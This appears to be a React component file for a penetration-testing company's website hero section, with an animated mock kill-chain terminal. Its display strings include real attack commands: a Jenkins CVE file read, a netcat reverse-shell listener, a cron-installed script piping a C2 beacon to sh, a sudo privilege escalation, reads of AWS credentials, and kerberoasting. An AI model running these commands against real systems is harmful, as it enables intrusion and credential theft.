// Hero.jsx — VAPT-focused hero with animated attack-flow / kill-chain visualization
const Hero = ({ onCTA, onSecondary }) => {
return (
{/* Faint lavender glow at top */}
{/* Eyebrow */}
{ e.preventDefault(); const t = document.getElementById('certifications'); if (t) window.scrollTo({ top: t.getBoundingClientRect().top + window.scrollY - 64, behavior: 'smooth' }); }} style={{
display: 'inline-flex', alignItems: 'center', gap: 8,
padding: '4px 10px 4px 4px', textDecoration: 'none',
background: 'rgba(15,16,17,0.7)',
border: '1px solid #23252a',
borderRadius: 9999,
marginBottom: 28, transition: 'border-color 150ms ease-out',
}}
onMouseEnter={e => e.currentTarget.style.borderColor = '#34343a'}
onMouseLeave={e => e.currentTarget.style.borderColor = '#23252a'}
>
CREST
Aligned methodology · OSCP, OSWE, and OSEP-certified team
{/* Headline */}
Redefining
Penetration Testing
{/* Subhead */}
GreySurface provides manual penetration testing and adversary simulation services that identify, validate, and prioritize security vulnerabilities across your infrastructure, applications, and cloud environments, enabling your organization to reduce risk with confidence.
{/* CTAs */}
{ e.currentTarget.style.background = '#828fff'; e.currentTarget.style.transform = 'translateY(-1px)'; }}
onMouseLeave={e => { e.currentTarget.style.background = '#5e6ad2'; e.currentTarget.style.transform = 'translateY(0)'; }}
>
Get a quote
{ e.currentTarget.style.borderColor = '#34343a'; e.currentTarget.style.background = '#0f1011'; }}
onMouseLeave={e => { e.currentTarget.style.borderColor = '#23252a'; e.currentTarget.style.background = 'transparent'; }}
>
See test types
{/* Quick proof points under CTA */}
{[
{ label: 'Certified testers on every engagement' },
{ label: 'Every test performed manually' },
{ label: 'Free retesting within 90 days' },
].map(p => (
{p.label}
))}
{/* Live exploit chain mockup */}
);
};
// Live exploit-chain mockup — pentest dashboard with kill chain progress
const ExploitChainMockup = () => {
const [step, setStep] = React.useState(0);
const [pinned, setPinned] = React.useState(false);
React.useEffect(() => {
if (pinned) return;
const t = setInterval(() => setStep(s => (s + 1) % 7), 1800);
return () => clearInterval(t);
}, [pinned]);
const chain = [
{ id: 'recon', label: 'Recon', tactic: 'TA0043', detail: 'Subdomain enum · 142 hosts mapped',
iocs: ['142 subdomains', '38 services', '4 forgotten dev hosts'], artifact: 'asset-ledger.json' },
{ id: 'access', label: 'Initial Access', tactic: 'TA0001', detail: 'CVE-2024-23897 · Jenkins CLI exposed',
iocs: ['Jenkins 2.426.2', 'CVE-2024-23897', '/etc/passwd disclosed'], artifact: 'jenkins-exploit.py' },
{ id: 'exec', label: 'Execution', tactic: 'TA0002', detail: 'Groovy sandbox bypass · RCE confirmed',
iocs: ['CVE-2019-1003000', 'shell.elf · 28KB', 'beacon → :4444'], artifact: 'rev-shell.groovy' },
{ id: 'persist', label: 'Persistence', tactic: 'TA0003', detail: 'SSH key dropped · agent.sh installed',
iocs: ['authorized_keys patched', '/opt/agent.sh', 'cron @hourly'], artifact: 'persistence-pack.tgz' },
{ id: 'privesc', label: 'Priv. Esc.', tactic: 'TA0004', detail: 'sudo cap_dac_override · root acquired',
iocs: ['sudo NOPASSWD find', 'cap_dac_override py3', 'uid=0(root)'], artifact: '/linpeas-report/' },
{ id: 'lateral', label: 'Lateral', tactic: 'TA0008', detail: 'kerberoast · CIFS shares enumerated',
iocs: ['4 kerberoastable SPNs', '2 hops to DC01', '10.21.0.0/16 reachable'], artifact: 'bloodhound.json' },
{ id: 'impact', label: 'Impact', tactic: 'TA0010', detail: 'Customer DB · 2.4 TB readable',
iocs: ['pii_db · 2.4 TB', 'stripe.live key leaked', '482K customer rows'], artifact: 'impact-evidence.pdf' },
];
return (
{/* Title bar */}
{['#ff5f57', '#febc2e', '#28c840'].map(c => (
))}
Engagement · ACME-2026-Q2
/ external pentest
{pinned ? 'operator · pinned' : 'operator · live'}
{/* Left — kill chain timeline */}
MITRE ATT&CK chain
{step + 1}/{chain.length}
{/* Connecting line */}
{chain.map((c, i) => {
const done = i < step;
const active = i === step;
return (
{ setStep(i); setPinned(true); setTimeout(() => setPinned(false), 6000); }}
style={{
display: 'flex', alignItems: 'flex-start', gap: 10,
padding: '4px 0', position: 'relative',
marginBottom: 6, cursor: 'pointer',
}}>
{done ? '✓' : (i + 1).toString().padStart(2, '0')}
);
})}
{/* Right — operator console */}
{/* Toolbar */}
{chain[step].label}
{chain[step].tactic}
t+{(step * 18 + 4).toString().padStart(2, '0')}m
{/* Terminal + side panel */}
{/* IoCs captured this step */}
IoCs captured
{chain[step].iocs.map((io, i) => (
))}
{/* Artifact written to evidence pack */}
Evidence pack
+ {chain[step].artifact}
{/* ATT&CK technique counter for this phase */}
Techniques used
{['T1190','T1078','T1059','T1547','T1068','T1558','T1486'].slice(0, Math.max(1, step + 1)).map(t => (
{t}
))}
{/* Findings strip */}
{[
{ l: 'Critical', v: Math.min(step + 1, 3), c: '#e8543a' },
{ l: 'High', v: Math.min(step * 2, 7), c: '#d98326' },
{ l: 'Medium', v: Math.min(step * 3, 11), c: '#5e6ad2' },
{ l: 'Hosts', v: Math.min(8 + step * 6, 38), c: '#d0d6e0' },
].map(k => (
))}
);
};
const ChainTerminal = ({ step, chain }) => {
const scripts = {
recon: [
{ p: '$', t: 'gs-recon enum --target acme.corp --depth 3', c: '#d0d6e0' },
{ t: '→ amass enum · 142 subdomains in 38s', c: '#62666d' },
{ t: '→ httpx probe · 38 live · 4 dev hosts unauth\'d', c: '#62666d' },
{ t: '→ ct-log harvest · 18 leaked staging FQDNs', c: '#62666d' },
{ t: '→ shodan ssl-cn:acme.corp · 7 forgotten s3 origins', c: '#d98326' },
{ t: '→ github-dorks · 2 .env leaks · 1 ssh key', c: '#d98326' },
{ t: '✓ surface mapped · ledger flushed to s3', c: '#27a644' },
],
access: [
{ p: '$', t: 'curl -s jenkins.acme.corp/cli?remoting=false', c: '#d0d6e0' },
{ t: '→ HTTP/2 200 · Jenkins 2.426.2 · CLI live', c: '#62666d' },
{ t: '→ CVE-2024-23897 · arbitrary file read via @', c: '#d98326' },
{ p: '$', t: 'gs-poc CVE-2024-23897 --read /etc/passwd', c: '#d0d6e0' },
{ t: '→ leak: root:x:0:0:root:/root:/bin/bash', c: '#62666d' },
{ p: '$', t: 'gs-poc --read /var/jenkins/secrets/initialAdminPassword', c: '#d0d6e0' },
{ t: '→ leak: admin · b7d18f9c1e…', c: '#d98326' },
{ t: '✓ admin session minted · cookie cached', c: '#27a644' },
],
exec: [
{ p: '$', t: 'gs-payload jenkins-rce --groovy --bypass-sandbox', c: '#d0d6e0' },
{ t: '→ sandbox bypass · CVE-2019-1003000 chained', c: '#d98326' },
{ t: '→ ScriptApprover.preApprove() · accepted', c: '#62666d' },
{ p: '$', t: 'nc -lvnp 4444 &', c: '#d0d6e0' },
{ t: '→ Listening on 0.0.0.0:4444', c: '#62666d' },
{ t: '→ Connection from 10.21.4.18:51338', c: '#62666d' },
{ p: '$', t: 'whoami && id && uname -a', c: '#d0d6e0' },
{ t: '→ jenkins · uid=997(jenkins) · Linux 5.15', c: '#d98326' },
{ t: '✓ remote code execution confirmed · shell ttyrec', c: '#e8543a' },
],
persist: [
{ p: '$', t: 'mkdir -p ~/.ssh && chmod 700 ~/.ssh', c: '#d0d6e0' },
{ p: '$', t: 'echo $OPERATOR_KEY >> ~/.ssh/authorized_keys', c: '#d0d6e0' },
{ t: '→ persistence · ed25519 key injected', c: '#62666d' },
{ p: '$', t: 'cat > /opt/agent.sh << \'EOF\'', c: '#d0d6e0' },
{ t: ' #!/bin/sh', c: '#62666d' },
{ t: ' curl -s gs-c2.io/beacon | sh', c: '#62666d' },
{ p: '$', t: '(crontab -l; echo "@hourly /opt/agent.sh") | crontab -', c: '#d0d6e0' },
{ t: '→ cron @hourly · agent.sh registered', c: '#62666d' },
{ t: '✓ implant survives reboot · failover ready', c: '#27a644' },
],
privesc: [
{ p: '$', t: 'gs-linpeas --quick --no-color', c: '#d0d6e0' },
{ t: '→ sudo -l · NOPASSWD on /usr/bin/find', c: '#d98326' },
{ t: '→ getcap -r / · cap_dac_override on /usr/bin/python3', c: '#d98326' },
{ t: '→ SUID · /usr/bin/pkexec · CVE-2021-4034', c: '#d98326' },
{ p: '$', t: 'sudo find . -exec /bin/sh \\; -quit', c: '#d0d6e0' },
{ t: '→ # uid=0(root) gid=0(root) groups=0(root)', c: '#e8543a' },
{ p: '$', t: 'cat /root/.aws/credentials', c: '#d0d6e0' },
{ t: '→ AKIA…7Z2A · CICDDeploy role chained', c: '#e8543a' },
{ t: '✓ host root + cloud handoff acquired', c: '#e8543a' },
],
lateral: [
{ p: '$', t: 'gs-bloodhound --collect ad --domain acme.corp', c: '#d0d6e0' },
{ t: '→ 4,182 users · 612 computers · 38 OUs ingested', c: '#62666d' },
{ p: '$', t: 'GetUserSPNs.py acme/svc-deploy -request', c: '#d0d6e0' },
{ t: '→ 4 kerberoastable SPNs harvested', c: '#62666d' },
{ p: '$', t: 'hashcat -m 13100 spn.hashes rockyou.txt -r best64.rule', c: '#d0d6e0' },
{ t: '→ svc-deploy · weak password · cracked in 142s', c: '#d98326' },
{ p: '$', t: 'crackmapexec smb 10.21.0.0/16 -u svc-deploy -p [redacted]', c: '#d0d6e0' },
{ t: '→ 96 hosts authenticated · 18 admin', c: '#d98326' },
{ t: '✓ tier-0 path · 2 hops to DC01 via ADCS ESC1', c: '#828fff' },
],
impact: [
{ p: '$', t: 'gs-impact --enumerate-sensitive-data --read-only', c: '#d0d6e0' },
{ t: '→ pii_db · 482,931 rows · 2.4 TB readable', c: '#e8543a' },
{ t: '→ stripe.live_key found in vault/payments/prod', c: '#e8543a' },
{ t: '→ s3://acme-backups · 14 nightly dumps exposed', c: '#e8543a' },
{ p: '$', t: 'gs-evidence --capture --tag impact --no-exfil', c: '#d0d6e0' },
{ t: '→ schema captured · 0 rows exfiltrated', c: '#62666d' },
{ t: '→ evidence pack written · SHA256 verified', c: '#27a644' },
{ t: '◉ engagement objective met · standdown initiated', c: '#828fff' },
],
};
const id = chain[step].id;
const lines = scripts[id];
return (
{lines.map((l, i) => (
{l.p && {l.p} }
{l.t}
))}
note →
{chain[step].detail}
$
);
};
Object.assign(window, { Hero, ExploitChainMockup, ChainTerminal });